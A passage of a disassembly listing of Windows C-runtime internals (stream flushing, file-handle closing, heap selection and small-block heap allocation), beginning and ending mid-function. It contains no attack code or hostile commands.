cmp edi, dword_4DC6C0
jnb loc_41DB0C
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41DB0C
push edi
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DAEB
cmp edi, 1
jz short loc_41DAB9
cmp edi, 2
jnz short loc_41DACF
loc_41DAB9: ; CODE XREF: sub_41DA72+40j
push 2
call sub_4238A2
push 1
mov ebp, eax
call sub_4238A2
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41DAEB
loc_41DACF: ; CODE XREF: sub_41DA72+45j
push edi
call sub_4238A2
pop ecx
push eax
nop
call near ptr 26509C6h
test eax, eax
jnz short loc_41DAEB
call near ptr 2670897h
nop
mov ebp, eax
jmp short loc_41DAED
; ---------------------------------------------------------------------------
loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj
; sub_41DA72+5Bj ...
xor ebp, ebp
loc_41DAED: ; CODE XREF: sub_41DA72+77j
push edi
call sub_423828
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41DB08
push ebp
call sub_4203DF
pop ecx
jmp short loc_41DB1D
; ---------------------------------------------------------------------------
loc_41DB08: ; CODE XREF: sub_41DA72+8Bj
xor eax, eax
jmp short loc_41DB20
; ---------------------------------------------------------------------------
loc_41DB0C: ; CODE XREF: sub_41DA72+Ej
; sub_41DA72+2Fj
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_41DB1D: ; CODE XREF: sub_41DA72+94j
or eax, 0FFFFFFFFh
loc_41DB20: ; CODE XREF: sub_41DA72+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41DA72 endp
; =============== S U B R O U T I N E =======================================
sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB4E
test al, 8
jz short loc_41DB4E
push dword ptr [esi+8]
call sub_41B0B1
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41DB4E: ; CODE XREF: sub_41DB25+Aj
; sub_41DB25+Ej
pop esi
retn
sub_41DB25 endp
; =============== S U B R O U T I N E =======================================
sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp
; sub_41DBF0+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41DB62
push esi
call sub_41DBF0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB62: ; CODE XREF: sub_41DB50+7j
push esi
call sub_41DB8B
test eax, eax
pop ecx
jz short loc_41DB72
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB72: ; CODE XREF: sub_41DB50+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41DB87
push dword ptr [esi+10h]
call sub_4238DF
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41DB50+26j
xor eax, eax
pop esi
retn
sub_41DB50 endp
; =============== S U B R O U T I N E =======================================
sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap
; ___:0041D223p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41DBD8
test ax, 108h
jz short loc_41DBD8
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41DBD8
push edi
push eax
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, edi
jnz short loc_41DBD1
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41DBD8
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41DBD8
; ---------------------------------------------------------------------------
loc_41DBD1: ; CODE XREF: sub_41DB8B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41DBD8: ; CODE XREF: sub_41DB8B+14j
; sub_41DB8B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41DB8B endp
; =============== S U B R O U T I N E =======================================
sub_41DBE7 proc near ; CODE XREF: sub_4239DBp
push 1
call sub_41DBF0
pop ecx
retn
sub_41DBE7 endp
; =============== S U B R O U T I N E =======================================
sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap
; sub_41DBE7+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DC5A0, esi
jle short loc_41DC4E
loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj
mov eax, dword_4DB598
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41DC45
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41DC45
cmp [esp+0Ch+arg_0], 1
jnz short loc_41DC2B
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC45
inc ebx
jmp short loc_41DC45
; ---------------------------------------------------------------------------
loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41DC45
test cl, 2
jz short loc_41DC45
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41DC45
or edi, eax
loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj
; sub_41DBF0+23j ...
inc esi
cmp esi, dword_4DC5A0
jl short loc_41DC01
loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41DC59
mov eax, edi
loc_41DC59: ; CODE XREF: sub_41DBF0+65j
pop edi
pop esi
pop ebx
retn
sub_41DBF0 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call near ptr 2680000h
nop
cmp word ptr [eax], 5A4Dh
jnz short loc_41DC88
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41DC88
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41DC88: ; CODE XREF: sub_41DC5D+15j
; sub_41DC5D+1Cj
pop esi
retn
sub_41DC5D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41BB20
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
call near ptr 26C056Ah
nop
test eax, eax
jz short loc_41DCCD
cmp dword ptr [ebp-88h], 2
jnz short loc_41DCCD
cmp dword ptr [ebp-94h], 5
jb short loc_41DCCD
push 1
pop eax
jmp loc_41DDCF
; ---------------------------------------------------------------------------
loc_41DCCD: ; CODE XREF: ___:0041DCB1j
; ___:0041DCBAj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call near ptr 2890000h
nop
test eax, eax
jz loc_41DDBC
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41DD0F
loc_41DCFC: ; CODE XREF: ___:0041DD0Dj
mov al, [ecx]
cmp al, 61h
jl short loc_41DD0A
cmp al, 7Ah
jg short loc_41DD0A
sub al, 20h
mov [ecx], al
loc_41DD0A: ; CODE XREF: ___:0041DD00j
; ___:0041DD04j
inc ecx
cmp [ecx], bl
jnz short loc_41DCFC
loc_41DD0F: ; CODE XREF: ___:0041DCFAj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41BE70
add esp, 0Ch
test eax, eax
jnz short loc_41DD31
lea eax, [ebp-122Ch]
jmp short loc_41DD7A
; ---------------------------------------------------------------------------
loc_41DD31: ; CODE XREF: ___:0041DD27j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
nop
call near ptr 2660000h
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41DD65
loc_41DD52: ; CODE XREF: ___:0041DD63j
mov al, [ecx]
cmp al, 61h
jl short loc_41DD60
cmp al, 7Ah
jg short loc_41DD60
sub al, 20h
mov [ecx], al
loc_41DD60: ; CODE XREF: ___:0041DD56j
; ___:0041DD5Aj
inc ecx
cmp [ecx], bl
jnz short loc_41DD52
loc_41DD65: ; CODE XREF: ___:0041DD50j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_41B900
pop ecx
pop ecx
loc_41DD7A: ; CODE XREF: ___:0041DD2Fj
cmp eax, ebx
jz short loc_41DDBC
push 2Ch
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41DDBC
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41DDA1
loc_41DD93: ; CODE XREF: ___:0041DD9Fj
cmp byte ptr [ecx], 3Bh
jnz short loc_41DD9C
mov [ecx], bl
jmp short loc_41DD9D
; ---------------------------------------------------------------------------
loc_41DD9C: ; CODE XREF: ___:0041DD96j
inc ecx
loc_41DD9D: ; CODE XREF: ___:0041DD9Aj
cmp [ecx], bl
jnz short loc_41DD93
loc_41DDA1: ; CODE XREF: ___:0041DD91j
push 0Ah
push ebx
push eax
call sub_41BBA6
add esp, 0Ch
cmp eax, 2
jz short loc_41DDCF
cmp eax, 3
jz short loc_41DDCF
cmp eax, 1
jz short loc_41DDCF
loc_41DDBC: ; CODE XREF: ___:0041DCE6j
; ___:0041DD7Cj ...
lea eax, [ebp-4]
push eax
call sub_41DC5D
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41DDCF: ; CODE XREF: ___:0041DCC8j
; ___:0041DDB0j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 0C033h
dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2482218h
dd 0A3C08590h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h
dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh
dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh
dd 2472EA1h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h
dd 3921BFE8h, 0C0859002h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p
; sub_41B202+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DC8F8
lea ecx, [eax+eax*4]
mov eax, dword_4DC8FC
lea ecx, [eax+ecx*4]
loc_41DE87: ; CODE XREF: sub_41DE77+26j
cmp eax, ecx
jnb short loc_41DE9F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41DEA1
add eax, 14h
jmp short loc_41DE87
; ---------------------------------------------------------------------------
loc_41DE9F: ; CODE XREF: sub_41DE77+12j
xor eax, eax
locret_41DEA1: ; CODE XREF: sub_41DE77+21j
retn
sub_41DE77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p
; sub_41B202+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E1C6
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41DF78
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF06
push 3Fh
pop edx
loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41DF5A
cmp edx, 20h
jnb short loc_41DF31
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41DF52
; ---------------------------------------------------------------------------
loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41DF52: ; CODE XREF: sub_41DEA2+86j
; sub_41DEA2+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41DF5D
; ---------------------------------------------------------------------------
loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj
mov ecx, [ebp+var_4]
loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41DF78: ; CODE XREF: sub_41DEA2+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF86
push 3Fh
pop edx
loc_41DF86: ; CODE XREF: sub_41DEA2+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E029
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41DFAB
mov ebx, esi
loc_41DFAB: ; CODE XREF: sub_41DEA2+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41DFBD
mov edx, esi
loc_41DFBD: ; CODE XREF: sub_41DEA2+117j
cmp ebx, edx
jz short loc_41E024
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E00C
cmp ebx, 20h
jnb short loc_41DFED
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E00C
; ---------------------------------------------------------------------------
loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E00C: ; CODE XREF: sub_41DEA2+128j
; sub_41DEA2+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E024: ; CODE XREF: sub_41DEA2+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E02C
; ---------------------------------------------------------------------------
loc_41E029: ; CODE XREF: sub_41DEA2+EDj
mov ebx, [ebp+arg_0]
loc_41E02C: ; CODE XREF: sub_41DEA2+185j
cmp [ebp+var_C], 0
jnz short loc_41E03A
cmp ebx, edx
jz loc_41E0BB
loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E0BB
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E092
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E081
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E081: ; CODE XREF: sub_41DEA2+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E0BB
; ---------------------------------------------------------------------------
loc_41E092: ; CODE XREF: sub_41DEA2+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E0A8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E0BB: ; CODE XREF: sub_41DEA2+192j
; sub_41DEA2+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E1C6
mov eax, dword_4DC8F4
test eax, eax
jz loc_41E1B8
mov ecx, dword_4DC8EC
mov esi, dword_4271C0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4DC8EC
mov eax, dword_4DC8F4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DC8F4
mov ecx, dword_4DC8EC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DC8F4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DC8F4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E149
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DC8F4
loc_41E149: ; CODE XREF: sub_41DEA2+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E1B8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4DC8F4
push dword ptr [eax+10h]
push 0
push dword_4DC904
nop
call near ptr 27A0000h
mov eax, dword_4DC8F8
mov edx, dword_4DC8FC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DC8F4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41CC90
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DC8F8
cmp eax, dword_4DC8F4
jbe short loc_41E1AE
sub [ebp+arg_0], 14h
loc_41E1AE: ; CODE XREF: sub_41DEA2+306j
mov eax, dword_4DC8FC
mov dword_4DC8F0, eax
loc_41E1B8: ; CODE XREF: sub_41DEA2+234j
; sub_41DEA2+2ABj
mov eax, [ebp+arg_0]
mov dword_4DC8EC, edi
mov dword_4DC8F4, eax
loc_41E1C6: ; CODE XREF: sub_41DEA2+38j
; sub_41DEA2+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41DEA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1CB proc near ; CODE XREF: sub_41B202+77p
; sub_41B513+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DC8F8
mov edx, dword_4DC8FC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E20B
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E21B
; ---------------------------------------------------------------------------
loc_41E20B: ; CODE XREF: sub_41E1CB+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej
mov eax, dword_4DC8F0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E242
loc_41E229: ; CODE XREF: sub_41E1CB+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E242
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E229
loc_41E242: ; CODE XREF: sub_41E1CB+5Cj
; sub_41E1CB+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E2C0
mov ebx, edx
loc_41E249: ; CODE XREF: sub_41E1CB+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E265
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E263
add ebx, 14h
jmp short loc_41E249
; ---------------------------------------------------------------------------
loc_41E263: ; CODE XREF: sub_41E1CB+91j
cmp ebx, eax
loc_41E265: ; CODE XREF: sub_41E1CB+83j
jnz short loc_41E2C0
loc_41E267: ; CODE XREF: sub_41E1CB+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E27D
cmp dword ptr [ebx+8], 0
jnz short loc_41E27A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E267
; ---------------------------------------------------------------------------
loc_41E27A: ; CODE XREF: sub_41E1CB+A5j
cmp ebx, [ebp+var_4]
loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj
jnz short loc_41E2A5
mov ebx, edx
loc_41E281: ; CODE XREF: sub_41E1CB+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E295
cmp dword ptr [ebx+8], 0
jnz short loc_41E293
add ebx, 14h
jmp short loc_41E281
; ---------------------------------------------------------------------------
loc_41E293: ; CODE XREF: sub_41E1CB+C1j
cmp ebx, eax
loc_41E295: ; CODE XREF: sub_41E1CB+BBj
jnz short loc_41E2A5
call sub_41E4D4
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E2B9
loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj
; sub_41E1CB:loc_41E295j
push ebx
call sub_41E585
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E2C0
loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j
xor eax, eax
jmp loc_41E4CF
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj
; sub_41E1CB:loc_41E265j ...
mov dword_4DC8F0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E2E7
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E31E
loc_41E2E7: ; CODE XREF: sub_41E1CB+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E31B
loc_41E304: ; CODE XREF: sub_41E1CB+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E304
loc_41E31B: ; CODE XREF: sub_41E1CB+137j
mov edx, [ebp+var_4]
loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E347
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E347: ; CODE XREF: sub_41E1CB+16Dj
; sub_41E1CB+183j
test ecx, ecx
jl short loc_41E350
shl ecx, 1
inc edi
jmp short loc_41E347
; ---------------------------------------------------------------------------
loc_41E350: ; CODE XREF: sub_41E1CB+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41E36D
push 3Fh
pop esi
loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj
cmp esi, edi
jz loc_41E482
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E3DE
cmp edi, 20h
jge short loc_41E3AD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j
; sub_41E1CB+203j
mov ebx, [ebp+arg_0]
loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j
; sub_41E1CB+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41E48E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E47F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41E450
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E43E
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41E43E: ; CODE XREF: sub_41E1CB+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41E47F
; ---------------------------------------------------------------------------
loc_41E450: ; CODE XREF: sub_41E1CB+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E469
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41E469: ; CODE XREF: sub_41E1CB+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej
; sub_41E1CB+283j
mov ecx, [ebp+var_8]
loc_41E482: ; CODE XREF: sub_41E1CB+1A4j
test ecx, ecx
jz short loc_41E491
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41E491
; ---------------------------------------------------------------------------
loc_41E48E: ; CODE XREF: sub_41E1CB+229j
mov ecx, [ebp+var_8]
loc_41E491: ; CODE XREF: sub_41E1CB+2B9j
; sub_41E1CB+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41E4C7
cmp ebx, dword_4DC8F4
jnz short loc_41E4C7
mov ecx, [ebp+var_4]
cmp ecx, dword_4DC8EC
jnz short loc_41E4C7
and dword_4DC8F4, 0
loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j
; sub_41E1CB+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E1CB endp
; =============== S U B R O U T I N E =======================================
sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp
